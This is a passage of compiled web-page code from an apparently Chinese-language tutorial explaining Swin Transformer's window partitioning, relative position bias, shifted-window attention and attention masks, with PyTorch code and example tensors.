partition"}),"\u51fd\u6570\u662f\u7528\u4e8e\u5bf9\u5f20\u91cf\u5212\u5206\u7a97\u53e3\uff0c\u6307\u5b9a\u7a97\u53e3\u5927\u5c0f\u3002\u5c06\u539f\u672c\u7684\u5f20\u91cf\u4ece ",(0,r.jsx)(e.code,{children:"N H W C"}),", \u5212\u5206\u6210 ",(0,r.jsx)(e.code,{children:"num_windows*B, window_size, window_size, C"}),"\uff0c\u5176\u4e2d ",(0,r.jsx)(e.code,{children:"num_windows = H*W / window_size*window_size"}),"\uff0c\u5373\u7a97\u53e3\u7684\u4e2a\u6570\u3002\u800c",(0,r.jsx)(e.code,{children:"window reverse"}),"\u51fd\u6570\u5219\u662f\u5bf9\u5e94\u7684\u9006\u8fc7\u7a0b\u3002\u8fd9\u4e24\u4e2a\u51fd\u6570\u4f1a\u5728\u540e\u9762\u7684",(0,r.jsx)(e.code,{children:"Window Attention"}),"\u7528\u5230\u3002"]}),"\n",(0,r.jsx)(e.p,{children:(0,r.jsx)(e.img,{alt:"Window_Partition_Reverse",src:s(12709).A+"",width:"1450",height:"365"})}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-python",children:"def window_partition(x, window_size):\n B, H, W, C = x.shape\n x = x.view(B, H // window_size, window_size, W // window_size, window_size, C)\n windows = x.permute(0, 1, 3, 2, 4, 5).contiguous().view(-1, window_size, window_size, C)\n return windows\n\ndef window_reverse(windows, window_size, H, W):\n B = int(windows.shape[0] / (H * W / window_size / window_size))\n x = windows.view(B, H // window_size, W // window_size, window_size, window_size, -1)\n x = x.permute(0, 1, 3, 2, 4, 5).contiguous().view(B, H, W, -1)\n return x\n"})}),"\n",(0,r.jsx)(e.h2,{id:"window-attention",children:"Window Attention"}),"\n",(0,r.jsxs)(e.p,{children:["\u4f20\u7edf\u7684 Transformer \u90fd\u662f",(0,r.jsx)(e.strong,{children:"\u57fa\u4e8e\u5168\u5c40\u6765\u8ba1\u7b97\u6ce8\u610f\u529b\u7684"}),"\uff0c\u56e0\u6b64\u8ba1\u7b97\u590d\u6742\u5ea6\u5341\u5206\u9ad8\u3002\u800c Swin Transformer \u5219\u5c06",(0,r.jsx)(e.strong,{children:"\u6ce8\u610f\u529b\u7684\u8ba1\u7b97\u9650\u5236\u5728\u6bcf\u4e2a\u7a97\u53e3\u5185"}),"\uff0c\u8fdb\u800c\u51cf\u5c11\u4e86\u8ba1\u7b97\u91cf\u3002\u6211\u4eec\u5148\u7b80\u5355\u770b\u4e0b\u516c\u5f0f"]}),"\n",(0,r.jsxs)(e.p,{children:["$$\nAttention(Q,K,V)=Softmax(\\frac{QK^T}{\\sqrt d}+B)V\n$$\n\u4e3b\u8981\u533a\u522b\u662f\u5728\u539f\u59cb\u8ba1\u7b97 Attention \u7684\u516c\u5f0f\u4e2d\u7684 Q,K \u65f6",(0,r.jsx)(e.strong,{children:"\u52a0\u5165\u4e86\u76f8\u5bf9\u4f4d\u7f6e\u7f16\u7801"}),"\u3002"]}),"\n",(0,r.jsx)(e.img,{src:"./figures/Swin-T_block.png",alt:"Swin-T_block",style:{zoom:"50%"}}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-python",children:'class WindowAttention(nn.Module):\n r""" Window based multi-head self attention (W-MSA) module with relative position bias.\n It supports both of shifted and non-shifted window.\n\n Args:\n dim (int): Number of input channels.\n window_size (tuple[int]): The height and width of the window.\n num_heads (int): Number of attention heads.\n qkv_bias (bool, optional): If True, add a learnable bias to query, key, value. Default: True\n qk_scale (float | None, optional): Override default qk scale of head_dim ** -0.5 if set\n attn_drop (float, optional): Dropout ratio of attention weight. Default: 0.0\n proj_drop (float, optional): Dropout ratio of output. Default: 0.0\n """\n\n def __init__(self, dim, window_size, num_heads, qkv_bias=True, qk_scale=None, attn_drop=0., proj_drop=0.):\n\n super().__init__()\n self.dim = dim\n self.window_size = window_size # Wh, Ww\n self.num_heads = num_heads # nH\n head_dim = dim // num_heads # \u6bcf\u4e2a\u6ce8\u610f\u529b\u5934\u5bf9\u5e94\u7684\u901a\u9053\u6570\n self.scale = qk_scale or head_dim ** -0.5\n\n # define a parameter table of relative position bias\n self.relative_position_bias_table = nn.Parameter(\n torch.zeros((2 * window_size[0] - 1) * (2 * window_size[1] - 1), num_heads)) # \u8bbe\u7f6e\u4e00\u4e2a\u5f62\u72b6\u4e3a\uff082*(Wh-1) * 2*(Ww-1), nH\uff09\u7684\u53ef\u5b66\u4e60\u53d8\u91cf\uff0c\u7528\u4e8e\u540e\u7eed\u7684\u4f4d\u7f6e\u7f16\u7801\n\n self.qkv = nn.Linear(dim, dim * 3, bias=qkv_bias)\n self.attn_drop = nn.Dropout(attn_drop)\n self.proj = nn.Linear(dim, dim)\n self.proj_drop = nn.Dropout(proj_drop)\n\n trunc_normal_(self.relative_position_bias_table, std=.02)\n self.softmax = nn.Softmax(dim=-1)\n # \u76f8\u5173\u4f4d\u7f6e\u7f16\u7801...\n'})}),"\n",(0,r.jsx)(e.h3,{id:"\u76f8\u5173\u4f4d\u7f6e\u7f16\u7801\u7684\u76f4\u89c2\u7406\u89e3",children:"\u76f8\u5173\u4f4d\u7f6e\u7f16\u7801\u7684\u76f4\u89c2\u7406\u89e3"}),"\n",(0,r.jsxs)(e.blockquote,{children:["\n",(0,r.jsx)(e.p,{children:"Q,K,V.shape=[numWindwos*B, num_heads, window_size*window_size, head_dim]"}),"\n",(0,r.jsxs)(e.ul,{children:["\n",(0,r.jsxs)(e.li,{children:["window_size*window_size \u5373 NLP \u4e2d",(0,r.jsx)(e.code,{children:"token"}),"\u7684\u4e2a\u6570"]}),"\n",(0,r.jsxs)(e.li,{children:["$head_dim=\\frac{Embedding_dim}{num_heads}$ \u5373 NLP \u4e2d",(0,r.jsx)(e.code,{children:"token"}),"\u7684\u8bcd\u5d4c\u5165\u5411\u91cf\u7684\u7ef4\u5ea6"]}),"\n"]}),"\n",(0,r.jsxs)(e.p,{children:["${QK}^T$\u8ba1\u7b97\u51fa\u6765\u7684",(0,r.jsx)(e.code,{children:"Attention"}),"\u5f20\u91cf\u7684\u5f62\u72b6\u4e3a",(0,r.jsx)(e.code,{children:"[numWindows*B, num_heads, Q_tokens, K_tokens]"})]}),"\n",(0,r.jsxs)(e.ul,{children:["\n",(0,r.jsx)(e.li,{children:"\u5176\u4e2dQ_tokens=K_tokens=window_size*window_size"}),"\n"]}),"\n"]}),"\n",(0,r.jsxs)(e.p,{children:["\u4ee5",(0,r.jsx)(e.code,{children:"window_size=2"}),"\u4e3a\u4f8b\uff1a"]}),"\n",(0,r.jsx)(e.img,{src:"./figures/%E7%BB%9D%E5%AF%B9%E4%BD%8D%E7%BD%AE%E7%B4%A2%E5%BC%95.png",alt:"\u7edd\u5bf9\u4f4d\u7f6e\u7d22\u5f15",style:{zoom:"33%"}}),"\n",(0,r.jsx)(e.p,{children:"\u56e0\u6b64\uff1a${QK}^T=\\left[\\begin{array}{cccc}a_{11} & a_{12} & a_{13} & a_{14} \\ a_{21} & a_{22} & a_{23} & a_{24} \\ a_{31} & a_{32} & a_{33} & a_{34} \\ a_{41} & a_{42} & a_{43} & a_{44}\\end{array}\\right]$"}),"\n",(0,r.jsxs)(e.ul,{children:["\n",(0,r.jsx)(e.li,{children:(0,r.jsxs)(e.strong,{children:["\u7b2c $i$ \u884c\u8868\u793a\u7b2c $i$ \u4e2a token \u7684",(0,r.jsx)(e.code,{children:"query"}),"\u5bf9\u6240\u6709token\u7684",(0,r.jsx)(e.code,{children:"key"}),"\u7684attention\u3002"]})}),"\n",(0,r.jsxs)(e.li,{children:["\u5bf9\u4e8e Attention \u5f20\u91cf\u6765\u8bf4\uff0c",(0,r.jsx)(e.strong,{children:"\u4ee5\u4e0d\u540c\u5143\u7d20\u4e3a\u539f\u70b9\uff0c\u5176\u4ed6\u5143\u7d20\u7684\u5750\u6807\u4e5f\u662f\u4e0d\u540c\u7684"}),"\uff0c"]}),"\n"]}),"\n",(0,r.jsx)(e.img,{src:"./figures/%E7%9B%B8%E5%AF%B9%E4%BD%8D%E7%BD%AE%E7%B4%A2%E5%BC%95.png",alt:"\u76f8\u5bf9\u4f4d\u7f6e\u7d22\u5f15",style:{zoom:"50%"}}),"\n",(0,r.jsx)(e.p,{children:"\u6240\u4ee5${QK}^T\u7684\u76f8\u5bf9\u4f4d\u7f6e\u7d22\u5f15=\\left[\\begin{array}{cccc}(0,0) & (0,-1) & (-1,0) & (-1,-1) \\ (0,1) & (0,0) & (-1,1) & (-1,0) \\ (1,0) & (1,-1) & (0,0) & (0,-1) \\ (1,1) & (1,0) & (0,1) & (0,0)\\end{array}\\right]$"}),"\n",(0,r.jsxs)(e.p,{children:["\u7531\u4e8e\u6700\u7ec8\u6211\u4eec\u5e0c\u671b\u4f7f\u7528\u4e00\u7ef4\u7684\u4f4d\u7f6e\u5750\u6807 ",(0,r.jsx)(e.code,{children:"x+y"})," \u4ee3\u66ff\u4e8c\u7ef4\u7684\u4f4d\u7f6e\u5750\u6807",(0,r.jsx)(e.code,{children:" (x,y)"}),"\uff0c\u4e3a\u4e86\u907f\u514d (1,2) (2,1) \u4e24\u4e2a\u5750\u6807\u8f6c\u4e3a\u4e00\u7ef4\u65f6\u5747\u4e3a3\uff0c\u6211\u4eec\u4e4b\u540e\u5bf9\u76f8\u5bf9\u4f4d\u7f6e\u7d22\u5f15\u8fdb\u884c\u4e86\u4e00\u4e9b",(0,r.jsx)(e.strong,{children:"\u7ebf\u6027\u53d8\u6362"}),"\uff0c\u4f7f\u5f97\u80fd\u901a\u8fc7",(0,r.jsx)(e.strong,{children:"\u4e00\u7ef4"}),"\u7684\u4f4d\u7f6e\u5750\u6807",(0,r.jsx)(e.strong,{children:"\u552f\u4e00\u6620\u5c04"}),"\u5230\u4e00\u4e2a",(0,r.jsx)(e.strong,{children:"\u4e8c\u7ef4"}),"\u7684\u4f4d\u7f6e\u5750\u6807\uff0c\u8be6\u7ec6\u53ef\u4ee5\u901a\u8fc7\u4ee3\u7801\u90e8\u5206\u8fdb\u884c\u7406\u89e3\u3002"]}),"\n",(0,r.jsx)(e.h3,{id:"\u76f8\u5173\u4f4d\u7f6e\u7f16\u7801\u7684\u4ee3\u7801\u8be6\u89e3",children:"\u76f8\u5173\u4f4d\u7f6e\u7f16\u7801\u7684\u4ee3\u7801\u8be6\u89e3"}),"\n",(0,r.jsxs)(e.p,{children:["\u9996\u5148\u6211\u4eec\u5229\u7528",(0,r.jsx)(e.code,{children:"torch.arange"}),"\u548c",(0,r.jsx)(e.code,{children:"torch.meshgrid"}),"\u51fd\u6570\u751f\u6210\u5bf9\u5e94\u7684\u5750\u6807\uff0c\u8fd9\u91cc\u6211\u4eec\u4ee5",(0,r.jsx)(e.code,{children:"windowsize=2"}),"\u4e3a\u4f8b\u5b50"]}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-python",children:'coords_h = torch.arange(self.window_size[0])\ncoords_w = torch.arange(self.window_size[1])\ncoords = torch.meshgrid([coords_h, coords_w]) # -> 2*(wh, ww)\n"""\n (tensor([[0, 0],\n [1, 1]]), \n tensor([[0, 1],\n [0, 1]]))\n"""\n'})}),"\n",(0,r.jsx)(e.p,{children:"\u7136\u540e\u5806\u53e0\u8d77\u6765\uff0c\u5c55\u5f00\u4e3a\u4e00\u4e2a\u4e8c\u7ef4\u5411\u91cf"}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-python",children:'coords = torch.stack(coords) # 2, Wh, Ww\ncoords_flatten = torch.flatten(coords, 1) # 2, Wh*Ww\n"""\ntensor([[0, 0, 1, 1],\n [0, 1, 0, 1]])\n"""\n'})}),"\n",(0,r.jsxs)(e.p,{children:["\u5229\u7528\u5e7f\u64ad\u673a\u5236\uff0c\u5206\u522b\u5728\u7b2c\u4e00\u7ef4\uff0c\u7b2c\u4e8c\u7ef4\uff0c\u63d2\u5165\u4e00\u4e2a\u7ef4\u5ea6\uff0c\u8fdb\u884c\u5e7f\u64ad\u76f8\u51cf\uff0c\u5f97\u5230 ",(0,r.jsx)(e.code,{children:"2, wh*ww, wh*ww"}),"\u7684\u5f20\u91cf"]}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-python",children:"relative_coords_first = coords_flatten[:, :, None] # 2, wh*ww, 1\nrelative_coords_second = coords_flatten[:, None, :] # 2, 1, wh*ww\nrelative_coords = relative_coords_first - relative_coords_second # \u6700\u7ec8\u5f97\u5230 2, wh*ww, wh*ww \u5f62\u72b6\u7684\u5f20\u91cf\n"})}),"\n",(0,r.jsx)(e.p,{children:(0,r.jsx)(e.img,{alt:"relative_pos_code",src:s(97896).A+"",width:"1273",height:"910"})}),"\n",(0,r.jsxs)(e.p,{children:["\u56e0\u4e3a\u91c7\u53d6\u7684\u662f\u76f8\u51cf\uff0c\u6240\u4ee5\u5f97\u5230\u7684\u7d22\u5f15\u662f\u4ece\u8d1f\u6570\u5f00\u59cb\u7684\uff0c",(0,r.jsx)(e.strong,{children:"\u6211\u4eec\u52a0\u4e0a\u504f\u79fb\u91cf\uff0c\u8ba9\u5176\u4ece 0 \u5f00\u59cb"}),"\u3002"]}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-python",children:"relative_coords = relative_coords.permute(1, 2, 0).contiguous() # Wh*Ww, Wh*Ww, 2\nrelative_coords[:, :, 0] += self.window_size[0] - 1\nrelative_coords[:, :, 1] += self.window_size[1] - 1\n"})}),"\n",(0,r.jsxs)(e.p,{children:["\u540e\u7eed\u6211\u4eec\u9700\u8981\u5c06\u5176\u5c55\u5f00\u6210\u4e00\u7ef4\u504f\u79fb\u91cf\u3002\u800c\u5bf9\u4e8e (1\uff0c2\uff09\u548c\uff082\uff0c1\uff09\u8fd9\u4e24\u4e2a\u5750\u6807\u3002\u5728\u4e8c\u7ef4\u4e0a\u662f\u4e0d\u540c\u7684\uff0c",(0,r.jsx)(e.strong,{children:"\u4f46\u662f\u901a\u8fc7\u5c06 x,y \u5750\u6807\u76f8\u52a0\u8f6c\u6362\u4e3a\u4e00\u7ef4\u504f\u79fb\u7684\u65f6\u5019\uff0c\u4ed6\u7684\u504f\u79fb\u91cf\u662f\u76f8\u7b49\u7684"}),"\u3002"]}),"\n",(0,r.jsx)(e.p,{children:(0,r.jsx)(e.img,{alt:"bias0",src:s(32928).A+"",width:"1526",height:"583"})}),"\n",(0,r.jsx)(e.p,{children:"\u6240\u4ee5\u6700\u540e\u6211\u4eec\u5bf9\u5176\u4e2d\u505a\u4e86\u4e2a\u4e58\u6cd5\u64cd\u4f5c\uff0c\u4ee5\u8fdb\u884c\u533a\u5206"}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-python",children:"relative_coords[:, :, 0] *= 2 * self.window_size[1] - 1\n"})}),"\n",(0,r.jsx)(e.p,{children:(0,r.jsx)(e.img,{alt:"offset multiply",src:s(85883).A+"",width:"1977",height:"319"})}),"\n",(0,r.jsx)(e.p,{children:"\u7136\u540e\u518d\u6700\u540e\u4e00\u7ef4\u4e0a\u8fdb\u884c\u6c42\u548c\uff0c\u5c55\u5f00\u6210\u4e00\u4e2a\u4e00\u7ef4\u5750\u6807\uff0c\u5e76\u6ce8\u518c\u4e3a\u4e00\u4e2a\u4e0d\u53c2\u4e0e\u7f51\u7edc\u5b66\u4e60\u7684\u53d8\u91cf"}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-python",children:'relative_position_index = relative_coords.sum(-1) # Wh*Ww, Wh*Ww\nself.register_buffer("relative_position_index", relative_position_index)\n'})}),"\n",(0,r.jsxs)(e.p,{children:["\u4e4b\u524d\u8ba1\u7b97\u7684\u662f\u76f8\u5bf9\u4f4d\u7f6e\u7d22\u5f15\uff0c\u5e76\u4e0d\u662f\u76f8\u5bf9\u4f4d\u7f6e\u504f\u7f6e\u53c2\u6570\u3002\u771f\u6b63\u4f7f\u7528\u5230\u7684\u53ef\u8bad\u7ec3\u53c2\u6570$\\hat B$\u662f\u4fdd\u5b58\u5728",(0,r.jsx)(e.code,{children:"relative position bias table"}),"\u8868\u91cc\u7684\uff0c\u8fd9\u4e2a\u8868\u7684\u957f\u5ea6\u662f\u7b49\u4e8e ",(0,r.jsx)(e.strong,{children:"(2M\u22121) \xd7 (2M\u22121)"})," (\u5728\u4e8c\u7ef4\u4f4d\u7f6e\u5750\u6807\u4e2d\u7ebf\u6027\u53d8\u5316\u4e58\u4ee52M-1\u5bfc\u81f4)\u7684\u3002\u90a3\u4e48\u4e0a\u8ff0\u516c\u5f0f\u4e2d\u7684\u76f8\u5bf9\u4f4d\u7f6e\u504f\u6267\u53c2\u6570B\u662f\u6839\u636e\u4e0a\u9762\u7684\u76f8\u5bf9\u4f4d\u7f6e\u7d22\u5f15\u8868\u6839\u636e\u67e5",(0,r.jsx)(e.code,{children:"relative position bias table"}),"\u8868\u5f97\u5230\u7684\u3002"]}),"\n",(0,r.jsx)(e.img,{src:"./figures/relative_pos_bias_table.png",alt:"relative_pos_bias_table",style:{zoom:"50%"}}),"\n",(0,r.jsx)(e.p,{children:"\u63a5\u7740\u6211\u4eec\u770b\u524d\u5411\u4ee3\u7801"}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-python",children:'def forward(self, x, mask=None):\n """\n Args:\n x: input features with shape of (num_windows*B, N, C)\n mask: (0/-inf) mask with shape of (num_windows, Wh*Ww, Wh*Ww) or None\n """\n B_, N, C = x.shape\n\n qkv = self.qkv(x).reshape(B_, N, 3, self.num_heads, C // self.num_heads).permute(2, 0, 3, 1, 4)\n q, k, v = qkv[0], qkv[1], qkv[2] # make torchscript happy (cannot use tensor as tuple)\n\n q = q * self.scale\n attn = (q @ k.transpose(-2, -1))\n\n relative_position_bias = self.relative_position_bias_table[self.relative_position_index.view(-1)].view(self.window_size[0] * self.window_size[1], self.window_size[0] * self.window_size[1], -1) # Wh*Ww,Wh*Ww,nH\n relative_position_bias = relative_position_bias.permute(2, 0, 1).contiguous() # nH, Wh*Ww, Wh*Ww\n attn = attn + relative_position_bias.unsqueeze(0) # (1, num_heads, windowsize, windowsize)\n\n if mask is not None: # \u4e0b\u6587\u4f1a\u5206\u6790\u5230\n ...\n else:\n attn = self.softmax(attn)\n\n attn = self.attn_drop(attn)\n\n x = (attn @ v).transpose(1, 2).reshape(B_, N, C)\n x = self.proj(x)\n x = self.proj_drop(x)\n return x\n'})}),"\n",(0,r.jsxs)(e.ul,{children:["\n",(0,r.jsxs)(e.li,{children:["\u9996\u5148\u8f93\u5165\u5f20\u91cf\u5f62\u72b6\u4e3a ",(0,r.jsx)(e.code,{children:"[numWindows*B, window_size * window_size, C]"})]}),"\n",(0,r.jsxs)(e.li,{children:["\u7136\u540e\u7ecf\u8fc7",(0,r.jsx)(e.code,{children:"self.qkv"}),"\u8fd9\u4e2a\u5168\u8fde\u63a5\u5c42\u540e\uff0c\u8fdb\u884c reshape\uff0c\u8c03\u6574\u8f74\u7684\u987a\u5e8f\uff0c\u5f97\u5230\u5f62\u72b6\u4e3a",(0,r.jsx)(e.code,{children:"[3, numWindows*B, num_heads, window_size*window_size, c//num_heads]"}),"\uff0c\u5e76\u5206\u914d\u7ed9",(0,r.jsx)(e.code,{children:"q,k,v"}),"\u3002"]}),"\n",(0,r.jsxs)(e.li,{children:["\u6839\u636e\u516c\u5f0f\uff0c\u6211\u4eec\u5bf9",(0,r.jsx)(e.code,{children:"q"}),"\u4e58\u4ee5\u4e00\u4e2a",(0,r.jsx)(e.code,{children:"scale"}),"\u7f29\u653e\u7cfb\u6570\uff0c\u7136\u540e\u4e0e",(0,r.jsx)(e.code,{children:"k"}),"\uff08\u4e3a\u4e86\u6ee1\u8db3\u77e9\u9635\u4e58\u8981\u6c42\uff0c\u9700\u8981\u5c06\u6700\u540e\u4e24\u4e2a\u7ef4\u5ea6\u8c03\u6362\uff09\u8fdb\u884c\u76f8\u4e58\u3002\u5f97\u5230\u5f62\u72b6\u4e3a",(0,r.jsx)(e.code,{children:"[numWindows*B, num_heads, window_size*window_size, window_size*window_size]"}),"\u7684",(0,r.jsx)(e.code,{children:"attn"}),"\u5f20\u91cf"]}),"\n",(0,r.jsxs)(e.li,{children:["\u4e4b\u524d\u6211\u4eec\u9488\u5bf9\u4f4d\u7f6e\u7f16\u7801\u8bbe\u7f6e\u4e86\u4e2a\u5f62\u72b6\u4e3a",(0,r.jsx)(e.code,{children:"(2*window_size-1*2*window_size-1, numHeads)"}),"\u7684\u53ef\u5b66\u4e60\u53d8\u91cf\u3002\u6211\u4eec\u7528\u8ba1\u7b97\u5f97\u5230\u7684\u76f8\u5bf9\u7f16\u7801\u4f4d\u7f6e\u7d22\u5f15",(0,r.jsx)(e.code,{children:"self.relative_position_index.vew(-1)"}),"\u9009\u53d6\uff0c\u5f97\u5230\u5f62\u72b6\u4e3a",(0,r.jsx)(e.code,{children:"(window_size*window_size, window_size*window_size, numHeads)"}),"\u7684\u7f16\u7801\uff0c\u518dpermute(2,0,1)\u540e\u52a0\u5230",(0,r.jsx)(e.code,{children:"attn"}),"\u5f20\u91cf\u4e0a"]}),"\n",(0,r.jsxs)(e.li,{children:["\u6682\u4e0d\u8003\u8651 mask \u7684\u60c5\u51b5\uff0c\u5269\u4e0b\u5c31\u662f\u8ddf transformer \u4e00\u6837\u7684 softmax\uff0cdropout\uff0c\u4e0e",(0,r.jsx)(e.code,{children:"V"}),"\u77e9\u9635\u4e58\uff0c\u518d\u7ecf\u8fc7\u4e00\u5c42\u5168\u8fde\u63a5\u5c42\u548c dropout"]}),"\n"]}),"\n",(0,r.jsx)(e.h2,{id:"shifted-window-attention",children:"Shifted Window Attention"}),"\n",(0,r.jsx)(e.p,{children:"\u524d\u9762\u7684 Window Attention \u662f\u5728\u6bcf\u4e2a\u7a97\u53e3\u4e0b\u8ba1\u7b97\u6ce8\u610f\u529b\u7684\uff0c\u4e3a\u4e86\u66f4\u597d\u7684\u548c\u5176\u4ed6 window \u8fdb\u884c\u4fe1\u606f\u4ea4\u4e92\uff0cSwin Transformer \u8fd8\u5f15\u5165\u4e86 shifted window \u64cd\u4f5c\u3002"}),"\n",(0,r.jsx)(e.img,{src:"./figures/Shifted_Window.png",alt:"Shifted_Window",style:{zoom:"67%"}}),"\n",(0,r.jsxs)(e.p,{children:["\u5de6\u8fb9\u662f\u6ca1\u6709\u91cd\u53e0\u7684 Window Attention\uff0c\u800c\u53f3\u8fb9\u5219\u662f\u5c06\u7a97\u53e3\u8fdb\u884c\u79fb\u4f4d\u7684 Shift Window Attention\u3002\u53ef\u4ee5\u770b\u5230\u79fb\u4f4d\u540e\u7684\u7a97\u53e3\u5305\u542b\u4e86\u539f\u672c\u76f8\u90bb\u7a97\u53e3\u7684\u5143\u7d20\u3002\u4f46\u8fd9\u4e5f\u5f15\u5165\u4e86\u4e00\u4e2a\u65b0\u95ee\u9898\uff0c\u5373 ",(0,r.jsx)(e.strong,{children:"window \u7684\u4e2a\u6570\u7ffb\u500d\u4e86"}),"\uff0c\u7531\u539f\u672c\u56db\u4e2a\u7a97\u53e3\u53d8\u6210\u4e86 9 \u4e2a\u7a97\u53e3\u3002\u5728\u5b9e\u9645\u4ee3\u7801\u91cc\uff0c\u6211\u4eec\u662f",(0,r.jsx)(e.strong,{children:"\u901a\u8fc7\u5bf9\u7279\u5f81\u56fe\u79fb\u4f4d\uff0c\u5e76\u7ed9 Attention \u8bbe\u7f6e mask \u6765\u95f4\u63a5\u5b9e\u73b0\u7684"}),"\u3002\u80fd\u5728",(0,r.jsx)(e.strong,{children:"\u4fdd\u6301\u539f\u6709\u7684 window \u4e2a\u6570\u4e0b"}),"\uff0c\u6700\u540e\u7684\u8ba1\u7b97\u7ed3\u679c\u7b49\u4ef7\u3002"]}),"\n",(0,r.jsx)(e.p,{align:"center",children:(0,r.jsx)(e.img,{src:"./figures/W-MSA.png",alt:"W-MSA",style:{zoom:"50%"}})}),"\n",(0,r.jsx)(e.h3,{id:"\u7279\u5f81\u56fe\u79fb\u4f4d\u64cd\u4f5c",children:"\u7279\u5f81\u56fe\u79fb\u4f4d\u64cd\u4f5c"}),"\n",(0,r.jsxs)(e.p,{children:["\u4ee3\u7801\u91cc\u5bf9\u7279\u5f81\u56fe\u79fb\u4f4d\u662f\u901a\u8fc7",(0,r.jsx)(e.code,{children:"torch.roll"}),"\u6765\u5b9e\u73b0\u7684\uff0c\u4e0b\u9762\u662f\u793a\u610f\u56fe"]}),"\n",(0,r.jsx)(e.img,{src:"./figures/torch_roll.png",alt:"torch_roll",style:{zoom:"67%"}}),"\n",(0,r.jsxs)(e.blockquote,{children:["\n",(0,r.jsxs)(e.p,{children:["\u5982\u679c\u9700\u8981",(0,r.jsx)(e.code,{children:"reverse cyclic shift"}),"\u7684\u8bdd\u53ea\u9700\u628a\u53c2\u6570",(0,r.jsx)(e.code,{children:"shifts"}),"\u8bbe\u7f6e\u4e3a\u5bf9\u5e94\u7684\u6b63\u6570\u503c\u3002"]}),"\n"]}),"\n",(0,r.jsx)(e.h3,{id:"attention-mask",children:"Attention Mask"}),"\n",(0,r.jsxs)(e.p,{children:["\u8fd9\u662f Swin Transformer \u7684\u7cbe\u534e\uff0c\u901a\u8fc7\u8bbe\u7f6e\u5408\u7406\u7684 mask\uff0c\u8ba9",(0,r.jsx)(e.code,{children:"Shifted Window Attention"}),"\u5728\u4e0e",(0,r.jsx)(e.code,{children:"Window Attention"}),"\u76f8\u540c\u7684\u7a97\u53e3\u4e2a\u6570\u4e0b\uff0c\u8fbe\u5230\u7b49\u4ef7\u7684\u8ba1\u7b97\u7ed3\u679c\u3002"]}),"\n",(0,r.jsxs)(e.p,{children:["\u9996\u5148\u6211\u4eec\u5bf9 Shift Window \u540e\u7684\u6bcf\u4e2a\u7a97\u53e3\u90fd\u7ed9\u4e0a index\uff0c\u5e76\u4e14\u505a\u4e00\u4e2a",(0,r.jsx)(e.code,{children:"roll"}),"\u64cd\u4f5c\uff08window_size=2, shift_size=1\uff09"]}),"\n",(0,r.jsx)(e.img,{src:"./figures/Shift_window_index.png",alt:"Shift window index",style:{zoom:"67%"}}),"\n",(0,r.jsxs)(e.p,{children:["\u6211\u4eec\u5e0c\u671b\u5728\u8ba1\u7b97 Attention \u7684\u65f6\u5019\uff0c",(0,r.jsx)(e.strong,{children:"\u8ba9\u5177\u6709\u76f8\u540c index QK \u8fdb\u884c\u8ba1\u7b97\uff0c\u800c\u5ffd\u7565\u4e0d\u540c index QK \u8ba1\u7b97\u7ed3\u679c"}),"\u3002\u6700\u540e\u6b63\u786e\u7684\u7ed3\u679c\u5982\u4e0b\u56fe\u6240\u793a"]}),"\n",(0,r.jsx)(e.img,{src:"./figures/Mask.png",alt:"Mask",style:{zoom:"50%"}}),"\n",(0,r.jsx)(e.p,{children:"\u800c\u8981\u60f3\u5728\u539f\u59cb\u56db\u4e2a\u7a97\u53e3\u4e0b\u5f97\u5230\u6b63\u786e\u7684\u7ed3\u679c\uff0c\u6211\u4eec\u5c31\u5fc5\u987b\u7ed9 Attention \u7684\u7ed3\u679c\u52a0\u5165\u4e00\u4e2a mask\uff08\u5982\u4e0a\u56fe\u6700\u53f3\u8fb9\u6240\u793a\uff09\u76f8\u5173\u4ee3\u7801\u5982\u4e0b\uff1a"}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-python",children:"if self.shift_size > 0:\n # calculate attention mask for SW-MSA\n H, W = self.input_resolution\n img_mask = torch.zeros((1, H, W, 1)) # 1 H W 1\n h_slices = (slice(0, -self.window_size),\n slice(-self.window_size, -self.shift_size),\n slice(-self.shift_size, None))\n w_slices = (slice(0, -self.window_size),\n slice(-self.window_size, -self.shift_size),\n slice(-self.shift_size, None))\n cnt = 0\n for h in h_slices:\n for w in w_slices:\n img_mask[:, h, w, :] = cnt\n cnt += 1\n\n mask_windows = window_partition(img_mask, self.window_size) # nW, window_size, window_size, 1\n mask_windows = mask_windows.view(-1, self.window_size * self.window_size)\n attn_mask = mask_windows.unsqueeze(1) - mask_windows.unsqueeze(2)\n attn_mask = attn_mask.masked_fill(attn_mask != 0, float(-100.0)).masked_fill(attn_mask == 0, float(0.0))\nelse:\n\tattn_mask = None\n"})}),"\n",(0,r.jsx)(e.p,{children:"\u4ee5\u4e0a\u56fe\u7684\u8bbe\u7f6e\uff0c\u6211\u4eec\u7528\u8fd9\u6bb5\u4ee3\u7801\u4f1a\u5f97\u5230\u8fd9\u6837\u7684\u4e00\u4e2a mask"}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{children:"tensor([[[[[ 0., 0., 0., 0.],\n [ 0., 0., 0., 0.],\n [ 0., 0., 0., 0.],\n [ 0., 0., 0., 0.]]],\n\n\n [[[ 0., -100., 0., -100.],\n [-100., 0., -100., 0.],\n [ 0., -100., 0., -100.],\n [-100., 0., -100., 0.]]],\n\n\n [[[ 0., 0., -100., -100.],\n [ 0., 0., -100., -100.],\n [-100., -100., 0., 0.],\n [-100., -100., 0., 0.]]],\n\n\n [[[ 0., -100., -100., -100.],\n [-100., 0., -100., -100.],\n [-100., -100., 0., -100.],\n [-100., -100., -100., 0.]]]]])\n"})}),"\n",(0,r.jsx)(e.p,{children:"\u5728\u4e4b\u524d\u7684 window attention \u6a21\u5757\u7684\u524d\u5411\u4ee3\u7801\u91cc\uff0c\u5305\u542b\u8fd9\u4e48\u4e00\u6bb5"}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-python",children:"if mask is not None:\n nW = mask.shape[0] # 